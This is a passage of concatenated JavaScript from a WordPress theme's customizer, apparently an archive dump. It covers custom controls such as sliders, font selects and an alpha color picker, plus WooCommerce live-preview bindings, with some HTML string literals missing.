i=this.options.get("adaptContainerCssClass");if(i=i||l,-1!==n.indexOf(":all:")){n=n.replace(":all:","");var r=i;i=function(e){var t=r(e);return null!=t?t+" "+e:e}}var o=this.options.get("containerCss")||{};return s.isFunction(o)&&(o=o(this.$element)),a.syncCssClasses(t,this.$element,i),t.css(o),t.addClass(n),t},e}),e.define("select2/compat/dropdownCss",["jquery","./utils"],function(s,a){function l(e){return null}function e(){}return e.prototype.render=function(e){var t=e.call(this),n=this.options.get("dropdownCssClass")||"";s.isFunction(n)&&(n=n(this.$element));var i=this.options.get("adaptDropdownCssClass");if(i=i||l,-1!==n.indexOf(":all:")){n=n.replace(":all:","");var r=i;i=function(e){var t=r(e);return null!=t?t+" "+e:e}}var o=this.options.get("dropdownCss")||{};return s.isFunction(o)&&(o=o(this.$element)),a.syncCssClasses(t,this.$element,i),t.css(o),t.addClass(n),t},e}),e.define("select2/compat/initSelection",["jquery"],function(i){function e(e,t,n){n.get("debug")&&window.console&&console.warn&&console.warn("Select2: The `initSelection` option has been deprecated in favor of a custom data adapter that overrides the `current` method. This method is now called multiple times instead of a single time when the instance is initialized. Support will be removed for the `initSelection` option in future versions of Select2"),this.initSelection=n.get("initSelection"),this._isInitialized=!1,e.call(this,t,n)}return e.prototype.current=function(e,t){var n=this;this._isInitialized?e.call(this,t):this.initSelection.call(null,this.$element,function(e){n._isInitialized=!0,i.isArray(e)||(e=[e]),t(e)})},e}),e.define("select2/compat/inputData",["jquery","../utils"],function(s,i){function e(e,t,n){this._currentData=[],this._valueSeparator=n.get("valueSeparator")||",","hidden"===t.prop("type")&&n.get("debug")&&console&&console.warn&&console.warn("Select2: Using a hidden input with Select2 is no longer supported and may stop working in the future. It is recommended to use a `
        '; $element.find('.sortable').append(newRow); $element.find('.sortable').find('.repeater:last').slideDown('slow', function() { $(this).find('input').focus(); }); } // Get the values from the repeater input fields and add to our hidden field function skyrocketGetAllInputs($element) { var inputValues = $element.find('.repeater-input').map(function() { return $(this).val(); }).toArray(); // Add all the values from our repeater fields to the hidden field (which is the one that actually gets saved) $element.find('.customize-control-sortable-repeater').val(inputValues); // Important! Make sure to trigger change event so Customizer knows it has to save the field $element.find('.customize-control-sortable-repeater').trigger('change'); } /** * Slider Custom Control * * @author Anthony Hortin * @license http://www.gnu.org/licenses/gpl-2.0.html * @link https://github.com/maddisondesigns */ // Set our slider defaults and initialise the slider $('.slider-custom-control:not(.ocean-proccessed)').each(function() { $(this).addClass('ocean-proccessed'); var sliderValue = $(this).find('.customize-control-slider-value').val(); var newSlider = $(this).find('.slider'); var sliderMinValue = parseFloat(newSlider.attr('slider-min-value')); var sliderMaxValue = parseFloat(newSlider.attr('slider-max-value')); var sliderStepValue = parseFloat(newSlider.attr('slider-step-value')); newSlider.slider({ value: sliderValue, min: sliderMinValue, max: sliderMaxValue, step: sliderStepValue, change: function(e, ui) { // Important! When slider stops moving make sure to trigger change event so Customizer knows it has to save the field $(this).parent().find('.customize-control-slider-value').trigger('change'); } }); }); // Change the value of the input field as the slider is moved $('.slider:not(.ocean-proccessed)').on('slide', function(event, ui) { $(this).addClass('ocean-proccessed'); $(this).parent().find('.customize-control-slider-value').val(ui.value); }); // Reset slider and input field back to the default value $('.slider-reset:not(.ocean-proccessed)').on('click', function() { $(this).addClass('ocean-proccessed'); var resetValue = $(this).attr('slider-reset-value'); $(this).parent().find('.customize-control-slider-value').val(resetValue); $(this).parent().find('.slider').slider('value', resetValue); }); // Update slider if the input field loses focus as it's most likely changed $('.customize-control-slider-value').blur(function() { var resetValue = $(this).val(); var slider = $(this).parent().find('.slider'); var sliderMinValue = parseInt(slider.attr('slider-min-value')); var sliderMaxValue = parseInt(slider.attr('slider-max-value')); // Make sure our manual input value doesn't exceed the minimum & maxmium values if (resetValue < sliderMinValue) { resetValue = sliderMinValue; $(this).val(resetValue); } if (resetValue > sliderMaxValue) { resetValue = sliderMaxValue; $(this).val(resetValue); } $(this).parent().find('.slider').slider('value', resetValue); }); /** * Single Accordion Custom Control * * @author Anthony Hortin * @license http://www.gnu.org/licenses/gpl-2.0.html * @link https://github.com/maddisondesigns */ $('.single-accordion-toggle:not(.ocean-proccessed)').click(function() { $(this).addClass('ocean-proccessed'); var $accordionToggle = $(this); $(this).parent().find('.single-accordion').slideToggle('slow', function() { $accordionToggle.toggleClass('single-accordion-toggle-rotate', $(this).is(':visible')); }); }); /** * Image Checkbox Custom Control * * @author Anthony Hortin * @license http://www.gnu.org/licenses/gpl-2.0.html * @link https://github.com/maddisondesigns */ $('.multi-image-checkbox:not(.ocean-proccessed)').on('change', function() { $(this).addClass('ocean-proccessed'); skyrocketGetAllImageCheckboxes($(this).parent().parent()); }); // Get the values from the checkboxes and add to our hidden field function skyrocketGetAllImageCheckboxes($element) { var inputValues = $element.find('.multi-image-checkbox').map(function() { if ($(this).is(':checked')) { return $(this).val(); } }).toArray(); // Important! Make sure to trigger change event so Customizer knows it has to save the field $element.find('.customize-control-multi-image-checkbox').val(inputValues).trigger('change'); } /** * Pill Checkbox Custom Control * * @author Anthony Hortin * @license http://www.gnu.org/licenses/gpl-2.0.html * @link https://github.com/maddisondesigns */ $(".pill_checkbox_control .sortable:not(.ocean-proccessed)").sortable({ placeholder: "pill-ui-state-highlight", update: function(event, ui) { skyrocketGetAllPillCheckboxes($(this).parent()); } }); $(".pill_checkbox_control .sortable:not(.ocean-proccessed)").addClass('ocean-proccessed'); $('.pill_checkbox_control .sortable-pill-checkbox:not(.ocean-proccessed)').on('change', function() { $(this).addClass('ocean-proccessed'); skyrocketGetAllPillCheckboxes($(this).parent().parent().parent()); }); // Get the values from the checkboxes and add to our hidden field function skyrocketGetAllPillCheckboxes($element) { var inputValues = $element.find('.sortable-pill-checkbox').map(function() { if ($(this).is(':checked')) { return $(this).val(); } }).toArray(); $element.find('.customize-control-sortable-pill-checkbox').val(inputValues).trigger('change'); } /** * Dropdown Select2 Custom Control * * @author Anthony Hortin * @license http://www.gnu.org/licenses/gpl-2.0.html * @link https://github.com/maddisondesigns */ $('.customize-control-dropdown-select2:not(.ocean-proccessed)').each(function() { $(this).addClass('ocean-proccessed'); $('.customize-control-select2').select2({ allowClear: true }); }); $(".customize-control-select2:not(.ocean-proccessed)").on("change", function() { $(this).addClass('ocean-proccessed'); var select2Val = $(this).val(); $(this).parent().find('.customize-control-dropdown-select2').val(select2Val).trigger('change'); }); /** * Googe Font Select Custom Control * * @author Anthony Hortin * @license http://www.gnu.org/licenses/gpl-2.0.html * @link https://github.com/maddisondesigns */ $('.google-fonts-list:not(.ocean-proccessed)').each(function(i, obj) { $(this).addClass('ocean-proccessed'); if (!$(obj).hasClass('select2-hidden-accessible')) { $(obj).select2(); } }); $('.google-fonts-list:not(.ocean-proccessed)').on('change', function() { $(this).addClass('ocean-proccessed'); var elementRegularWeight = $(this).parent().parent().find('.google-fonts-regularweight-style'); var elementItalicWeight = $(this).parent().parent().find('.google-fonts-italicweight-style'); var elementBoldWeight = $(this).parent().parent().find('.google-fonts-boldweight-style'); var selectedFont = $(this).val(); var customizerControlName = $(this).attr('control-name'); var elementItalicWeightCount = 0; var elementBoldWeightCount = 0; // Clear Weight/Style dropdowns elementRegularWeight.empty(); elementItalicWeight.empty(); elementBoldWeight.empty(); // Make sure Italic & Bold dropdowns are enabled elementItalicWeight.prop('disabled', false); elementBoldWeight.prop('disabled', false); // Get the Google Fonts control object var bodyfontcontrol = _wpCustomizeSettings.controls[customizerControlName]; // Find the index of the selected font var indexes = $.map(bodyfontcontrol.skyrocketfontslist, function(obj, index) { if (obj.family === selectedFont) { return index; } }); var index = indexes[0]; // For the selected Google font show the available weight/style variants $.each(bodyfontcontrol.skyrocketfontslist[index].variants, function(val, text) { elementRegularWeight.append( $('').val(text).html(text) ); if (text.indexOf("italic") >= 0) { elementItalicWeight.append( $('').val(text).html(text) ); elementItalicWeightCount++; } else { elementBoldWeight.append( $('').val(text).html(text) ); elementBoldWeightCount++; } }); if (elementItalicWeightCount == 0) { elementItalicWeight.append( $('').val('').html('Not Available for this font') ); elementItalicWeight.prop('disabled', 'disabled'); } if (elementBoldWeightCount == 0) { elementBoldWeight.append( $('').val('').html('Not Available for this font') ); elementBoldWeight.prop('disabled', 'disabled'); } // Update the font category based on the selected font $(this).parent().parent().find('.google-fonts-category').val(bodyfontcontrol.skyrocketfontslist[index].category); skyrocketGetAllSelects($(this).parent().parent()); }); $('.google_fonts_select_control select:not(.ocean-proccessed)').on('change', function() { $(this).addClass('ocean-proccessed'); skyrocketGetAllSelects($(this).parent().parent()); }); function skyrocketGetAllSelects($element) { var selectedFont = { font: $element.find('.google-fonts-list').val(), regularweight: $element.find('.google-fonts-regularweight-style').val(), italicweight: $element.find('.google-fonts-italicweight-style').val(), boldweight: $element.find('.google-fonts-boldweight-style').val(), category: $element.find('.google-fonts-category').val() }; // Important! Make sure to trigger change event so Customizer knows it has to save the field $element.find('.customize-control-google-font-selection').val(JSON.stringify(selectedFont)).trigger('change'); } /** * TinyMCE Custom Control * * @author Anthony Hortin * @license http://www.gnu.org/licenses/gpl-2.0.html * @link https://github.com/maddisondesigns */ $('.customize-control-tinymce-editor:not(.ocean-proccessed)').each(function() { $(this).addClass('ocean-proccessed'); // Get the toolbar strings that were passed from the PHP Class var tinyMCEToolbar1String = _wpCustomizeSettings.controls[$(this).attr('id')].skyrockettinymcetoolbar1; var tinyMCEToolbar2String = _wpCustomizeSettings.controls[$(this).attr('id')].skyrockettinymcetoolbar2; var tinyMCEMediaButtons = _wpCustomizeSettings.controls[$(this).attr('id')].skyrocketmediabuttons; wp.editor.initialize($(this).attr('id'), { tinymce: { wpautop: true, toolbar1: tinyMCEToolbar1String, toolbar2: tinyMCEToolbar2String }, quicktags: true, mediaButtons: tinyMCEMediaButtons }); }); $(document).on('tinymce-editor-init', function(event, editor) { editor.on('change', function(e) { tinyMCE.triggerSave(); $('#' + editor.id).trigger('change'); }); }); /** * WP ColorPicker Alpha Color Picker Control * * @author Anthony Hortin * @license http://www.gnu.org/licenses/gpl-2.0.html * @link https://github.com/maddisondesigns */ // Manually initialise the wpColorPicker controls so we can add the color picker palette $('.wpcolorpicker-alpha-color-picker:not(.ocean-proccessed)').each(function(i, obj) { $(this).addClass('ocean-proccessed'); var paletteColors = _wpCustomizeSettings.controls[$(this).attr('id')].colorpickerpalette; var options = { palettes: paletteColors }; $(obj).wpColorPicker(options); }); /** * Alpha Color Picker Custom Control * * @author Braad Martin * @license http://www.gnu.org/licenses/gpl-3.0.html * @link https://github.com/BraadMartin/components/tree/master/customizer/alpha-color-picker */ // Loop over each control and transform it into our color picker. $('.alpha-color-control:not(.ocean-proccessed)').each(function() { $(this).addClass('ocean-proccessed'); // Scope the vars. var $control, startingColor, paletteInput, showOpacity, defaultColor, palette, colorPickerOptions, $container, $alphaSlider, alphaVal, sliderOptions; // Store the control instance. $control = $(this); // Get a clean starting value for the option. startingColor = $control.val().replace(/\s+/g, ''); // Get some data off the control. paletteInput = $control.attr('data-palette'); showOpacity = $control.attr('data-show-opacity'); defaultColor = $control.attr('data-default-color'); // Process the palette. if (paletteInput.indexOf('|') !== -1) { palette = paletteInput.split('|'); } else if ('false' == paletteInput) { palette = false; } else { palette = true; } // Set up the options that we'll pass to wpColorPicker(). colorPickerOptions = { change: function(event, ui) { var key, value, alpha, $transparency; key = $control.attr('data-customize-setting-link'); value = $control.wpColorPicker('color'); // Set the opacity value on the slider handle when the default color button is clicked. if (defaultColor == value) { alpha = acp_get_alpha_value_from_color(value); $alphaSlider.find('.ui-slider-handle').text(alpha); } // Send ajax request to wp.customize to trigger the Save action. wp.customize(key, function(obj) { obj.set(value); }); $transparency = $container.find('.transparency'); // Always show the background color of the opacity slider at 100% opacity. $transparency.css('background-color', ui.color.toString('no-alpha')); }, palettes: oceanwpLocalize.colorPalettes // Use the passed in palette. }; // Create the colorpicker. $control.wpColorPicker(colorPickerOptions); $container = $control.parents('.wp-picker-container:first'); // Insert our opacity slider. $('
        ' + '
        ' + '
        ' + '
        ' + '
        ' + '
        ').appendTo($container.find('.wp-picker-holder')); $alphaSlider = $container.find('.alpha-slider'); // If starting value is in format RGBa, grab the alpha channel. alphaVal = acp_get_alpha_value_from_color(startingColor); // Set up jQuery UI slider() options. sliderOptions = { create: function(event, ui) { var value = $(this).slider('value'); // Set up initial values. $(this).find('.ui-slider-handle').text(value); $(this).siblings('.transparency ').css('background-color', startingColor); }, value: alphaVal, range: 'max', step: 1, min: 0, max: 100, animate: 300 }; // Initialize jQuery UI slider with our options. $alphaSlider.slider(sliderOptions); // Maybe show the opacity on the handle. if ('true' == showOpacity) { $alphaSlider.find('.ui-slider-handle').addClass('show-opacity'); } // Bind event handlers for the click zones. $container.find('.min-click-zone').on('click', function() { acp_update_alpha_value_on_color_control(0, $control, $alphaSlider, true); }); $container.find('.max-click-zone').on('click', function() { acp_update_alpha_value_on_color_control(100, $control, $alphaSlider, true); }); // Bind event handler for clicking on a palette color. $container.find('.iris-palette').on('click', function() { var color, alpha; color = $(this).css('background-color'); alpha = acp_get_alpha_value_from_color(color); acp_update_alpha_value_on_alpha_slider(alpha, $alphaSlider); // Sometimes Iris doesn't set a perfect background-color on the palette, // for example rgba(20, 80, 100, 0.3) becomes rgba(20, 80, 100, 0.298039). // To compensante for this we round the opacity value on RGBa colors here // and save it a second time to the color picker object. if (alpha != 100) { color = color.replace(/[^,]+(?=\))/, (alpha / 100).toFixed(2)); } $control.wpColorPicker('color', color); }); // Bind event handler for clicking on the 'Clear' button. $container.find('.button.wp-picker-clear').on('click', function() { var key = $control.attr('data-customize-setting-link'); // The #fff color is delibrate here. This sets the color picker to white instead of the // defult black, which puts the color picker in a better place to visually represent empty. $control.wpColorPicker('color', '#ffffff'); // Set the actual option value to empty string. wp.customize(key, function(obj) { obj.set(''); }); acp_update_alpha_value_on_alpha_slider(100, $alphaSlider); }); // Bind event handler for clicking on the 'Default' button. $container.find('.button.wp-picker-default').on('click', function() { var alpha = acp_get_alpha_value_from_color(defaultColor); acp_update_alpha_value_on_alpha_slider(alpha, $alphaSlider); }); // Bind event handler for typing or pasting into the input. $control.on('input', function() { var value = $(this).val(); var alpha = acp_get_alpha_value_from_color(value); acp_update_alpha_value_on_alpha_slider(alpha, $alphaSlider); }); // Update all the things when the slider is interacted with. $alphaSlider.slider().on('slide', function(event, ui) { var alpha = parseFloat(ui.value) / 100.0; acp_update_alpha_value_on_color_control(alpha, $control, $alphaSlider, false); // Change value shown on slider handle. $(this).find('.ui-slider-handle').text(ui.value); }); }); /** * Override the stock color.js toString() method to add support for outputting RGBa or Hex. */ Color.prototype.toString = function(flag) { // If our no-alpha flag has been passed in, output RGBa value with 100% opacity. // This is used to set the background color on the opacity slider during color changes. if ('no-alpha' == flag) { return this.toCSS('rgba', '1').replace(/\s+/g, ''); } // If we have a proper opacity value, output RGBa. if (1 > this._alpha) { return this.toCSS('rgba', this._alpha).replace(/\s+/g, ''); } // Proceed with stock color.js hex output. var hex = parseInt(this._color, 10).toString(16); if (this.error) { return ''; } if (hex.length < 6) { for (var i = 6 - hex.length - 1; i >= 0; i--) { hex = '0' + hex; } } return '#' + hex; }; /** * Given an RGBa, RGB, or hex color value, return the alpha channel value. */ function acp_get_alpha_value_from_color(value) { var alphaVal; // Remove all spaces from the passed in value to help our RGBa regex. value = value.replace(/ /g, ''); if (value.match(/rgba\(\d+\,\d+\,\d+\,([^\)]+)\)/)) { alphaVal = parseFloat(value.match(/rgba\(\d+\,\d+\,\d+\,([^\)]+)\)/)[1]).toFixed(2) * 100; alphaVal = parseInt(alphaVal); } else { alphaVal = 100; } return alphaVal; } /** * Force update the alpha value of the color picker object and maybe the alpha slider. */ function acp_update_alpha_value_on_color_control(alpha, $control, $alphaSlider, update_slider) { var iris, colorPicker, color; iris = $control.data('a8cIris'); colorPicker = $control.data('wpWpColorPicker'); // Set the alpha value on the Iris object. iris._color._alpha = alpha; // Store the new color value. color = iris._color.toString(); // Set the value of the input. $control.val(color); // Update the background color of the color picker. colorPicker.toggler.css({ 'background-color': color }); // Maybe update the alpha slider itself. if (update_slider) { acp_update_alpha_value_on_alpha_slider(alpha, $alphaSlider); } // Update the color value of the color picker object. $control.wpColorPicker('color', color); } /** * Update the slider handle position and label. */ function acp_update_alpha_value_on_alpha_slider(alpha, $alphaSlider) { $alphaSlider.slider('value', alpha); $alphaSlider.find('.ui-slider-handle').text(alpha.toString()); } }); /** * Remove attached events from the Upsell Section to stop panel from being able to open/close */ (function($, api) { api.sectionConstructor['skyrocket-upsell'] = api.Section.extend({ // Remove events for this type of section. attachEvents: function() {}, // Ensure this type of section is active. Normally, sections without contents aren't visible. isContextuallyActive: function() { return true; } }); })(jQuery, wp.customize);customizer/assets/js/wp-color-picker-alpha.js000064400000041141151551031110015316 0ustar00/**! * wp-color-picker-alpha * * Overwrite Automattic Iris for enabled Alpha Channel in wpColorPicker * Only run in input and is defined data alpha in true * * Version: 2.1.4 * https://github.com/kallookoo/wp-color-picker-alpha * Licensed under the GPLv2 license or later. */ ( function( $ ) { // Prevent double-init. if ( $.wp.wpColorPicker.prototype._hasAlpha ) { return; } // Variable for some backgrounds ( grid ) var image = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAAHnlligAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAHJJREFUeNpi+P///4EDBxiAGMgCCCAGFB5AADGCRBgYDh48CCRZIJS9vT2QBAggFBkmBiSAogxFBiCAoHogAKIKAlBUYTELAiAmEtABEECk20G6BOmuIl0CIMBQ/IEMkO0myiSSraaaBhZcbkUOs0HuBwDplz5uFJ3Z4gAAAABJRU5ErkJggg==', // html stuff for wpColorPicker copy of the original color-picker.js _after = '
        ', _wrap = '
        ', _button = '', _before = '', _wrappingLabel = '', _wrappingLabelText = '', _deprecated = false; // Check if wpColorPickerL10n is defined if ( typeof wpColorPickerL10n !== "undefined" ) { // wpColorPickerL10n is defined in <= WordPress 5.4 // Prevent CSS issues in < WordPress 4.9. current can only be checked if we know wpColorPickerL10n is defined _deprecated = ( typeof wpColorPickerL10n.current !== "undefined" ); if ( _deprecated ) { // Update _before if wpColorPickerL10n.current is defined (< WP 4.9) _before = ''; } var _colorValue = wpColorPickerL10n.defaultLabel, _selectColor = wpColorPickerL10n.pick, _defaultString = wpColorPickerL10n.defaultString, _defaultAriaLabel = wpColorPickerL10n.defaultAriaLabel, _clearString = wpColorPickerL10n.clear, _clearAriaLabel = wpColorPickerL10n.clearAriaLabel; } else { // wpColorPickerL10n is not defined in WordPress 5.5+ var __ = wp.i18n.__, _colorValue = __( 'Color value' ), _selectColor = __( 'Select Color' ), _defaultString = __( 'Default' ), _defaultAriaLabel = __( 'Select default color' ), _clearString = __( 'Clear' ), _clearAriaLabel = __( 'Clear color' ); } /** * Overwrite Color * for enable support rbga */ Color.fn.toString = function() { if ( this._alpha < 1 ) return this.toCSS( 'rgba', this._alpha ).replace( /\s+/g, '' ); var hex = parseInt( this._color, 10 ).toString( 16 ); if ( this.error ) return ''; if ( hex.length < 6 ) hex = ( '00000' + hex ).substr( -6 ); return '#' + hex; }; /** * Overwrite wpColorPicker */ $.widget( 'wp.wpColorPicker', $.wp.wpColorPicker, { _hasAlpha: true, /** * @summary Creates the color picker. * * Creates the color picker, sets default values, css classes and wraps it all in HTML. * * @since 3.5.0 * * @access private * * @returns {void} */ _create: function() { // Return early if Iris support is missing. if ( ! $.support.iris ) { return; } var self = this, el = self.element; // Override default options with options bound to the element. $.extend( self.options, el.data() ); // Create a color picker which only allows adjustments to the hue. if ( self.options.type === 'hue' ) { return self._createHueOnly(); } // Bind the close event. self.close = $.proxy( self.close, self ); self.initialValue = el.val(); // Add a CSS class to the input field. el.addClass( 'wp-color-picker' ); if ( _deprecated ) { el.hide().wrap( _wrap ); self.wrap = el.parent(); self.toggler = $( _before ) .insertBefore( el ) .css( { backgroundColor : self.initialValue } ) .attr( 'title', _selectColor ) .attr( 'data-current', wpColorPickerL10n.current ); self.pickerContainer = $( _after ).insertAfter( el ); self.button = $( _button ).addClass('hidden'); } else { /* * Check if there's already a wrapping label, e.g. in the Customizer. * If there's no label, add a default one to match the Customizer template. */ if ( ! el.parent( 'label' ).length ) { // Wrap the input field in the default label. el.wrap( _wrappingLabel ); // Insert the default label text. self.wrappingLabelText = $( _wrappingLabelText ) .insertBefore( el ) .text( _colorValue ); } /* * At this point, either it's the standalone version or the Customizer * one, we have a wrapping label to use as hook in the DOM, let's store it. */ self.wrappingLabel = el.parent(); // Wrap the label in the main wrapper. self.wrappingLabel.wrap( _wrap ); // Store a reference to the main wrapper. self.wrap = self.wrappingLabel.parent(); // Set up the toggle button and insert it before the wrapping label. self.toggler = $( _before ) .insertBefore( self.wrappingLabel ) .css( { backgroundColor: self.initialValue } ); // Set the toggle button span element text. self.toggler.find( '.wp-color-result-text' ).text( _selectColor ); // Set up the Iris container and insert it after the wrapping label. self.pickerContainer = $( _after ).insertAfter( self.wrappingLabel ); // Store a reference to the Clear/Default button. self.button = $( _button ); } // Set up the Clear/Default button. if ( self.options.defaultColor ) { self.button.addClass( 'wp-picker-default' ).val( _defaultString ); if ( ! _deprecated ) { self.button.attr( 'aria-label', _defaultAriaLabel ); } } else { self.button.addClass( 'wp-picker-clear' ).val( _clearString ); if ( ! _deprecated ) { self.button.attr( 'aria-label', _clearAriaLabel ); } } if ( _deprecated ) { el.wrap( '' ).after( self.button ); } else { // Wrap the wrapping label in its wrapper and append the Clear/Default button. self.wrappingLabel .wrap( '
        '),(0,a.render)(r.createElement(Pn,null),document.getElementById("ocean-wp-customize-search"))}))})()})();customizer/assets/js/woo-customize-preview.min.js000064400000211410151551031110016301 0ustar00!function(c){var o=wp.customize,t=c("body"),e=(c("#site-header"),["woo-default-cat","woo-dropdown-cat"]),r=["square-sale","circle-sale"],n=["compact","spacious"],a=["1","2","3","4","5","6","7"],i=["tablet-1-col","tablet-2-col","tablet-3-col","tablet-4-col","tablet-5-col","tablet-6-col","tablet-7-col"],_=["mobile-1-col","mobile-2-col","mobile-3-col","mobile-4-col","mobile-5-col","mobile-6-col","mobile-7-col"],d=["owp-content-left","owp-content-right","owp-content-center"],l=["owp-thumbs-layout-horizontal","owp-thumbs-layout-vertical"],s=["owp-btn-normal","owp-btn-big","owp-btn-very-big"],u=["owp-tabs-layout-horizontal","owp-tabs-layout-vertical","owp-tabs-layout-section"],m=["woo-left-tabs","woo-right-tabs","woo-center-tabs"],p=["arrow","square"];o("ocean_woo_cat_widget_style",function(o){o.bind(function(o){t.length&&(c.each(e,function(o,e){t.removeClass(e)}),t.addClass("woo-"+o+"-cat"))})}),o("ocean_woo_sale_badge_style",function(o){o.bind(function(o){var t=c(".woocommerce div.product");t.length&&(c.each(r,function(o,e){t.removeClass(e)}),t.addClass(o+"-sale"))})}),o("ocean_woo_off_canvas_filter_text",function(o){o.bind(function(o){c(".oceanwp-off-canvas-filter .off-canvas-filter-text").html(o)})}),o("ocean_woo_cart_dropdown_style",function(o){o.bind(function(o){var t=c(".woo-menu-icon");t.length&&(c.each(n,function(o,e){t.removeClass(e)}),t.addClass(o))})}),o("ocean_woo_menu_custom_icon",function(o){o.bind(function(o){var e=c("#site-navigation-wrap .dropdown-menu > li > a.wcmenucart i");e.length&&(e.removeClass(),e.addClass(o))})}),o("ocean_woo_menu_icon_size",function(o){o.bind(function(o){var e=c(".customizer-ocean_woo_menu_icon_size");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_woo_menu_icon_size_tablet",function(o){o.bind(function(o){var e=c(".customizer-ocean_woo_menu_icon_size_tablet");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_woo_menu_icon_size_mobile",function(o){o.bind(function(o){var e=c(".customizer-ocean_woo_menu_icon_size_mobile");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_woo_menu_icon_center_vertically",function(o){o.bind(function(o){var e=c(".customizer-ocean_woo_menu_icon_center_vertically");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_woo_menu_icon_center_vertically_tablet",function(o){o.bind(function(o){var e=c(".customizer-ocean_woo_menu_icon_center_vertically_tablet");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_woo_menu_icon_center_vertically_mobile",function(o){o.bind(function(o){var e=c(".customizer-ocean_woo_menu_icon_center_vertically_mobile");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_woocommerce_shop_columns",function(o){o.bind(function(o){var t=c(".woocommerce .products .product");t.length&&(c.each(a,function(o,e){t.parent().removeClass("archives-col-"+e),t.removeClass("span_1_of_"+e)}),t.parent().addClass("custom-col archives-col-"+o),t.addClass("span_1_of_"+o))})}),o("ocean_woocommerce_tablet_shop_columns",function(o){o.bind(function(o){var t=c(".woocommerce .products");t.length&&(c.each(i,function(o,e){t.removeClass(e)}),t.addClass("tablet-col"),t.addClass("tablet-"+o+"-col"))})}),o("ocean_woocommerce_mobile_shop_columns",function(o){o.bind(function(o){var t=c(".woocommerce .products");t.length&&(c.each(_,function(o,e){t.removeClass(e)}),t.addClass("mobile-col"),t.addClass("mobile-"+o+"-col"))})}),o("ocean_woo_product_entry_content_alignment",function(o){o.bind(function(o){var t=c(".woocommerce .products .product");t.length&&(c.each(d,function(o,e){t.removeClass(e)}),t.addClass("owp-content-"+o))})}),o("ocean_woo_off_canvas_close_button_color",function(o){o.bind(function(o){var e=c(".customizer-ocean_woo_off_canvas_close_button_color");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_woo_off_canvas_close_button_hover_color",function(o){o.bind(function(o){var e=c(".customizer-ocean_woo_off_canvas_close_button_hover_color");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_woo_infinite_scroll_spinners_color",function(o){o.bind(function(o){var e=c(".customizer-ocean_woo_infinite_scroll_spinners_color");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_woo_infinite_scroll_last_text",function(o){o.bind(function(o){c(".woocommerce .infinite-scroll-last").text(o)})}),o("ocean_woo_infinite_scroll_error_text",function(o){o.bind(function(o){c(".woocommerce .infinite-scroll-error").text(o)})}),o("ocean_woo_product_thumbs_layout",function(o){o.bind(function(o){var t=c(".woocommerce div.product");t.length&&(c.each(l,function(o,e){t.removeClass(e)}),t.addClass("owp-thumbs-layout-"+o))})}),o("ocean_woo_product_addtocart_style",function(o){o.bind(function(o){var t=c(".woocommerce div.product");t.length&&(c.each(s,function(o,e){t.removeClass(e)}),t.addClass("owp-btn-"+o))})}),o("ocean_woo_product_tabs_layout",function(o){o.bind(function(o){var t=c(".woocommerce div.product");t.length&&(c.each(u,function(o,e){t.removeClass(e)}),t.addClass("owp-tabs-layout-"+o))})}),o("ocean_woo_product_meta_tabs_position",function(o){o.bind(function(o){t.length&&(c.each(m,function(o,e){t.removeClass(e)}),t.addClass("woo-"+o+"-tabs"))})}),o("ocean_woo_multi_step_checkout_timeline_style",function(o){o.bind(function(o){var t=c("#owp-checkout-timeline");t.length&&(c.each(p,function(o,e){t.removeClass(e)}),t.addClass(o))})}),o("ocean_woo_shop_both_sidebars_content_width",function(o){o.bind(function(o){var e=c(".customizer-ocean_woo_shop_both_sidebars_content_width");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_woo_shop_both_sidebars_sidebars_width",function(o){o.bind(function(o){var e=c(".customizer-ocean_woo_shop_both_sidebars_sidebars_width");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_woo_product_both_sidebars_content_width",function(o){o.bind(function(o){var e=c(".customizer-ocean_woo_product_both_sidebars_content_width");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_woo_product_both_sidebars_sidebars_width",function(o){o.bind(function(o){var e=c(".customizer-ocean_woo_product_both_sidebars_sidebars_width");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_woo_product_image_width",function(o){o.bind(function(o){var e=c(".customizer-ocean_woo_product_image_width");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_woo_product_summary_width",function(o){o.bind(function(o){var e=c(".customizer-ocean_woo_product_summary_width");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_woo_store_notice_bg_color",function(o){o.bind(function(o){c(".woocommerce-store-notice.demo_store").css("background-color",o)})}),o("ocean_woo_store_notice_dismiss_bg_color",function(o){o.bind(function(o){c(".demo_store .woocommerce-store-notice__dismiss-link").css("background-color",o)})}),o("ocean_woo_store_notice_dismiss_text_hover_color",function(o){o.bind(function(o){c(".demo_store .woocommerce-store-notice__dismiss-link:hover").css("color",o)})}),o("ocean_woo_floating_bar_bg",function(o){o.bind(function(o){c(".owp-floating-bar").css("background-color",o)})}),o("ocean_woo_floating_bar_title_color",function(o){o.bind(function(o){c(".owp-floating-bar p.selected, .owp-floating-bar h2.entry-title").css("color",o)})}),o("ocean_woo_floating_bar_price_color",function(o){o.bind(function(o){c(".owp-floating-bar .product_price del .amount, .owp-floating-bar .product_price .amount, .owp-floating-bar .out-of-stock").css("color",o)})}),o("ocean_woo_floating_bar_quantity_buttons_bg",function(o){o.bind(function(o){var e=c(".customizer-ocean_woo_floating_bar_quantity_buttons_bg");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_woo_floating_bar_quantity_buttons_hover_bg",function(o){o.bind(function(o){var 